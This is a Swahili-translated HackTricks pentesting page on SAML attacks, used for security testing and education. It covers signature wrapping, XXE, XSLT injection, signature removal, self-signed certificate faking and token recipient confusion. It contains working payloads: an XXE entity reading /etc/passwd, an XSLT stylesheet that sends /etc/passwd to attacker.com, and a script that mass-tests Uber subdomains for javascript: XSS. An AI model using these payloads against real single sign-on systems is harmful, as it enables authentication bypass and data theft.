hacktricks/pentesting-web/saml-attacks
2024-04-07 03:36:12 +00:00
..
README.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/REA 2024-04-07 03:36:12 +00:00
saml-basics.md Translated to Swahili 2024-02-11 02:13:58 +00:00

Mashambulizi ya SAML

Mashambulizi ya SAML

Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Taarifa Msingi

{% content-ref url="saml-basics.md" %} saml-basics.md {% endcontent-ref %}

Zana

SAMLExtractor: Zana ambayo inaweza kuchukua URL au orodha ya URL na kuchapisha tena URL ya kuchukua SAML.

Mzunguko wa XML

Katika XML sehemu iliyosainiwa ya XML inahifadhiwa kumbukumbu, kisha uandishi wa nambari/uchambuzi hufanywa na saini huchunguzwa. Kimsingi uandishi wa nambari/uchambuzi huo haipaswi kubadilisha data lakini kulingana na hali hiyo, data inayochunguzwa na data ya awali zinaweza kutofautiana.

Kwa mfano, angalia nambari ifuatayo:

require 'rexml/document'

doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]>-->
</X>
XML

puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name

Kukimbia programu dhidi ya REXML 3.2.4 au matoleo mapema kutatoa matokeo yafuatayo badala yake:

First child in original doc: Y
First child after round-trip: Z

Hivi ndivyo REXML ilivyotazama hati ya XML ya asili kutoka kwa programu hapo juu:

https://mattermost.com/blog/securing-xml-implementations-across-the-web/

Na hivi ndivyo ilivyotazama baada ya mzunguko wa uchambuzi na ufuatiliaji:

https://mattermost.com/blog/securing-xml-implementations-across-the-web/

Kwa habari zaidi kuhusu udhaifu na jinsi ya kuutumia:

Mashambulizi ya Kusokota Saini ya XML

Katika mashambulizi ya Kusokota Saini ya XML (XSW), wadui wanatumia udhaifu unaojitokeza wakati hati za XML zinapochakatwa kupitia hatua mbili tofauti: uthibitishaji wa saini na wito wa kazi. Mashambulizi haya yanahusisha kubadilisha muundo wa hati ya XML. Kwa usahihi, muhusika anaingiza vipengele vilivyopigwa ambavyo havidhoofishi uhalali wa Saini ya XML. Udanganyifu huu unalenga kuleta tofauti kati ya vipengele vinavyochambuliwa na mantiki ya programu na vile vilivyothibitishwa na moduli ya uthibitishaji wa saini. Kama matokeo, ingawa Saini ya XML inabaki kuwa halali kiufundi na kupita uthibitishaji, mantiki ya programu inachakata vipengele vya udanganyifu. Kwa hivyo, muhusika anapita kwa ufanisi ulinzi wa ushikamano na uthibitisho wa asili wa Saini ya XML, kuruhusu uingizaji wa yaliyomo ya kupotosha bila kugunduliwa.

Mashambulizi yafuatayo yanategemea chapisho hili la blogi na karatasi hii. Kwa hivyo angalia hizo kwa maelezo zaidi.

XSW #1

  • Mbinu: Kipengele kipya cha msingi kinachojumuisha saini huongezwa.
  • Athari: Mthibitishaji anaweza kuchanganyikiwa kati ya "Jibu -> Kuthibitisha -> Mada" halali na "Jibu jipya la uovu -> Kuthibitisha -> Mada" ya muhusika, ikiongoza kwa masuala ya ushirikiano wa data.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-1.svg

XSW #2

  • Tofauti na XSW #1: Hutumia saini iliyotengwa badala ya saini iliyofungwa.
  • Athari: Muundo wa "uovu", kama XSW #1, unalenga kudanganya mantiki ya biashara baada ya ukaguzi wa ushirikiano.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-2.svg

XSW #3

  • Mbinu: Kuthibitisha ya uovu imeundwa kwenye kiwango sawa cha ierarkia kama kuthibitisha ya asili.
  • Athari: Inalenga kuchanganya mantiki ya biashara ili kutumia data yenye nia mbaya.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-3.svg

XSW #4

  • Tofauti na XSW #3: Kuthibitisha ya asili inakuwa mtoto wa Kuthibitisha iliyodurufishwa (ya uovu).
  • Athari: Kama XSW #3 lakini inabadilisha muundo wa XML kwa ukali zaidi.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-4.svg

XSW #5

  • Jambo la Kipekee: Wala Saini wala Kuthibitisha ya asili hazifuati miundo ya kawaida (iliyofungwa/inayofungwa/iliyotengwa).
  • Athari: Kuthibitisha iliyokopi inafunga Saini, ikibadilisha muundo uliotarajiwa wa hati.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-5.svg

XSW #6

  • Mbinu: Uingizaji wa eneo sawa kama XSW #4 na #5, lakini na mzunguko.
  • Athari: Kuthibitisha iliyokopi inafunga Saini, ambayo kisha inafunga Kuthibitisha ya asili, ikiumba muundo wa udanganyifu ulio na tabaka.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-6.svg

XSW #7

  • Mbinu: Kipengele cha Vipanuzi kinaingizwa na Kuthibitisha iliyokopi kama mtoto.
  • Athari: Hii inatumia mpango mdogo wa skimu ya Kipengele cha Vipanuzi kwa kuzidi hatua za kuzuia uthibitishaji wa skimu, hasa katika maktaba kama OpenSAML.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-7.svg

XSW #8

  • Tofauti na XSW #7: Hutumia kipengele kingine cha XML kilicho na skimu isiyo na vikwazo kwa toleo la shambulizi.
  • Athari: Kuthibitisha ya asili inakuwa mtoto wa kipengele kilicho na vikwazo vichache, ikigeuza muundo uliotumiwa katika XSW #7.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-8.svg

Zana

Unaweza kutumia nyongeza ya Burp SAML Raider kuchambua ombi, kutumia shambulizi lolote la XSW unalochagua, na kulizindua.

XXE

Ikiwa haujui aina gani ya mashambulizi ni XXE, tafadhali soma ukurasa ufuatao:

{% content-ref url="../xxe-xee-xml-external-entity.md" %} xxe-xee-xml-external-entity.md {% endcontent-ref %}

Majibu ya SAML ni hati za XML zilizopondwa na zilizofungwa kwa msingi wa base64 na zinaweza kuwa hatarini kwa mashambulizi ya Entiti ya Nje ya XML (XXE). Kwa kubadilisha muundo wa XML wa Majibu ya SAML, wadukuzi wanaweza kujaribu kutumia udhaifu wa XXE. Hapa ndivyo mashambulizi kama hayo yanavyoweza kuonekana:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY    file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]

Vifaa

Unaweza pia kutumia Burp extension SAML Raider kuzalisha POC kutoka kwa ombi la SAML ili kufanya majaribio ya uwezekano wa mashimo ya XXE na mashimo ya SAML.

Angalia pia mazungumzo haya: https://www.youtube.com/watch?v=WHn-6xHL7mI

XSLT kupitia SAML

Kwa habari zaidi kuhusu XSLT endelea kwenye:

{% content-ref url="../xslt-server-side-injection-extensible-stylesheet-language-transformations.md" %} xslt-server-side-injection-extensible-stylesheet-language-transformations.md {% endcontent-ref %}

Lugha ya Kubadilisha Mtindo ya Kupanuliwa (XSLT) inaweza kutumika kubadilisha nyaraka za XML kuwa miundo mbalimbali kama vile HTML, JSON, au PDF. Ni muhimu kutambua kwamba ubadilishaji wa XSLT hufanyika kabla ya uthibitisho wa saini ya kidijitali. Hii inamaanisha kwamba shambulio linaweza kuwa na mafanikio hata bila saini halali; saini iliyosainiwa na mtu binafsi au saini isiyofaa ni ya kutosha kuendelea.

Hapa unaweza kupata POC ya kuchunguza aina hii ya mashimo, kwenye ukurasa wa hacktricks uliotajwa mwanzoni mwa sehemu hii unaweza kupata mizigo ya data.

<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>

Zana

Unaweza pia kutumia Burp extension SAML Raider kuzalisha POC kutoka kwa ombi la SAML ili kufanya majaribio ya uwezekano wa XSLT vulnerabilities.

Angalia pia mazungumzo haya: https://www.youtube.com/watch?v=WHn-6xHL7mI

Uondoaji wa Saini ya XML

Uondoaji wa Saini ya XML unachunguza tabia ya utekelezaji wa SAML wakati Kipengele cha Saini hakipo. Ikiwa kipengele hiki hakipo, uthibitisho wa saini huenda usitoke, hivyo kuifanya kuwa hatarishi. Inawezekana kufanya majaribio haya kwa kubadilisha maudhui ambayo kawaida huthibitishwa na saini.

https://epi052.gitlab.io/notes-to-self/img/saml/signature-exclusion.svg

Zana

Unaweza pia kutumia Burp extension SAML Raider. Kukamata Jibu la SAML na bonyeza Ondoa Saini. Kwa kufanya hivyo saini zote zinaondolewa.

Baada ya saini kuondolewa, ruhusu ombi kuendelea kufikia lengo. Ikiwa Saini haihitajiki na Huduma

Udanganyifu wa Cheti

Udanganyifu wa Cheti ni mbinu ya kufanya majaribio ili kujua ikiwa Mtoa Huduma (SP) anathibitisha ipasavyo kwamba Ujumbe wa SAML umesainiwa na Mtoa Huduma aliyeaminika (IdP). Inahusisha kutumia cheti kilichojisaini kusaini Jibu la SAML au Kauli, ambayo husaidia katika kutathmini mchakato wa uthibitisho wa uaminifu kati ya SP na IdP.

Jinsi ya Kufanya Udanganyifu wa Cheti

Hatua zifuatazo zinaelezea mchakato kwa kutumia SAML Raider Burp extension:

  1. Kamata Jibu la SAML.
  2. Ikiwa jibu lina saini, tuma cheti kwa SAML Raider Certs kwa kutumia kitufe cha Tuma Cheti kwa SAML Raider Certs.
  3. Katika kichupo cha Vyeti vya SAML Raider, chagua cheti kilichoingizwa na bonyeza Hifadhi na Jisaini mwenyewe ili kuunda nakala iliyojisaini ya cheti cha awali.
  4. Rudi kwenye ombi lililokamatwa katika Proxy ya Burp. Chagua cheti kipya kilicho jisaini mwenyewe kutoka kwenye menyu ya kushuka ya Saini ya XML.
  5. Ondoa saini zilizopo kwa kutumia kitufe cha Ondoa Saini.
  6. Saini ujumbe au kauli na cheti kipya kwa kutumia kitufe cha (Re-)Saini Ujumbe au (Re-)Saini Kauli, kama inavyofaa.
  7. Wasilisha ujumbe uliosainiwa. Uthibitisho wa mafanikio unaonyesha kwamba SP inakubali ujumbe uliosainiwa na cheti chako kilichojisaini, kufunua uwezekano wa udhaifu katika mchakato wa uthibitisho wa ujumbe wa SAML.

Kuchanganyikiwa kwa Mpokeaji wa Tokeni / Kuchanganyikiwa kwa Lengo la Mtoa Huduma

Kuchanganyikiwa kwa Mpokeaji wa Tokeni na Kuchanganyikiwa kwa Lengo la Mtoa Huduma kunahusisha kuangalia ikiwa Mtoa Huduma anathibitisha ipasavyo mpokeaji anayelengwa wa jibu. Kimsingi, Mtoa Huduma anapaswa kukataa jibu la uthibitisho ikiwa lilikuwa limekusudiwa kwa mtoa huduma tofauti. Elementi muhimu hapa ni Mpokeaji, inayopatikana ndani ya kipengele cha SubjectConfirmationData cha Jibu la SAML. Kipengele hiki hufafanua URL inayoonyesha mahali Ambapo Kauli inapaswa kutumwa. Ikiwa mpokeaji halisi hailingani na Mtoa Huduma anayelengwa, Kauli inapaswa kufutwa.

Inavyofanya Kazi

Ili shambulio la Kuchanganyikiwa kwa Mpokeaji wa Tokeni wa SAML (SAML-TRC) liwezekane, hali fulani lazima zikutane. Kwanza, lazima kuwepo akaunti halali kwenye Mtoa Huduma (inayoitwa SP-Legit). Pili, Mtoa Huduma uliolengwa (SP-Target) lazima akubali alama kutoka kwa Mtoa Huduma huyo huyo wa Kitambulisho anayehudumia SP-Legit.

Mchakato wa shambulio ni rahisi chini ya hali hizi. Kikao halisi kinaanzishwa na SP-Legit kupitia Mtoa Huduma wa Kitambulisho ulioshirikiwa. Jibu la SAML kutoka kwa Mtoa Huduma wa Kitambulisho kwenda SP-Legit linakamatwa. Jibu la SAML lililokamatwa, ambalo kimsingi lilikuwa limekusudiwa kwa SP-Legit, kisha linaelekezwa kwa SP-Target. Mafanikio katika shambulio hili yanapimwa na SP-Target kukubali Kauli, kutoa ufikiaji kwa rasilimali chini ya jina la akaunti ile ile iliyotumiwa kwa SP-Legit.

# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
"""
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.

Args:
- saml_response: The SAML Response intercepted (in string format).
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.

Returns:
- status: Success or failure message.
"""
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
try:
# Code to send the SAML Response to SP-Target would go here
return "SAML Response successfully redirected to SP-Target."
except Exception as e:
return f"Failed to redirect SAML Response: {e}"

XSS katika kazi ya kujiondoa

Utafiti wa awali unaweza kupatikana kupitia kiungo hiki.

Wakati wa mchakato wa kufanya nguvu ya kufikia saraka, ukurasa wa kujiondoa uligunduliwa kwenye:

https://carbon-prototype.uberinternal.com:443/oidauth/logout

Baada ya kufikia kiungo hiki, kumetokea uhamisho kwenda:

https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1

Hii ilifunua kwamba parameter ya base inakubali URL. Kufikiria hili, wazo likatokea la kubadilisha URL na javascript:alert(123); kujaribu kuanzisha shambulio la XSS (Cross-Site Scripting).

Uteketezaji wa Wingi

Kutoka kwenye utafiti huu:

Zana ya SAMLExtractor ilitumika kuchambua subdomains za uberinternal.com kwa ajili ya domain zinazotumia maktaba ile ile. Baadaye, script ilibuniwa kushambulia ukurasa wa oidauth/prompt. Script hii huchunguza XSS (Cross-Site Scripting) kwa kuingiza data na kuangalia kama inaonekana kwenye matokeo. Katika kesi ambapo data inaonekana, script huitambua ukurasa kama una kasoro.

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()

with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + "   Vulnerable : " + doesit)

Marejeo

Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!

Njia nyingine za kusaidia HackTricks: